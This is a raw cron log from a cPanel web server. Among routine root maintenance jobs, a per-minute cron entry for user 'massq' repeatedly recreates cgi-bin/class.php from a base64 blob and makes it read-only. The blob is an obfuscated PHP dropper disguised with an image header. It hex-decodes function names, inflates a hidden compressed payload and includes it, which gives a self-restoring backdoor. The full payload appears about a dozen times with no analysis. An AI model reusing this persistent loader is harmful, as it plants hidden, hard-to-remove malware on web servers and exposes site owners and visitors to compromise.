Sep  7 21:54:01 server CROND[23857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:55:01 server CROND[24242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:55:01 server CROND[24245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:55:01 server CROND[24246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:55:01 server CROND[24247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:55:01 server CROND[24244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:55:01 server CROND[24248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:55:01 server CROND[24249]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:56:01 server CROND[25165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:56:01 server CROND[25166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:56:01 server CROND[25167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:57:01 server CROND[25534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:57:01 server CROND[25536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:57:01 server CROND[25535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:57:01 server CROND[25537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:58:01 server CROND[25921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:58:01 server CROND[25922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:58:01 server CROND[25923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:59:01 server CROND[26298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:59:01 server CROND[26299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:59:01 server CROND[26300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:00:01 server CROND[26693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:00:01 server CROND[26694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:00:01 server CROND[26697]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 22:00:01 server CROND[26698]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:00:01 server CROND[26706]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 22:00:01 server CROND[26704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:00:01 server CROND[26708]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:00:01 server CROND[26705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:00:01 server CROND[26703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:00:01 server CROND[26702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:01:01 server CROND[27654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:01:01 server CROND[27656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:01:01 server CROND[27653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:01:01 server CROND[27655]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 22:01:01 server run-parts(/etc/cron.hourly)[27655]: starting 0anacron
Sep  7 22:01:01 server run-parts(/etc/cron.hourly)[27675]: finished 0anacron
Sep  7 22:02:01 server CROND[28045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:02:01 server CROND[28046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:02:01 server CROND[28047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:03:01 server CROND[28440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:03:01 server CROND[28441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:03:01 server CROND[28442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:04:01 server CROND[28822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:04:01 server CROND[28825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:04:01 server CROND[28824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:05:01 server CROND[29211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:05:01 server CROND[29213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:05:01 server CROND[29218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:05:01 server CROND[29220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:05:01 server CROND[29216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
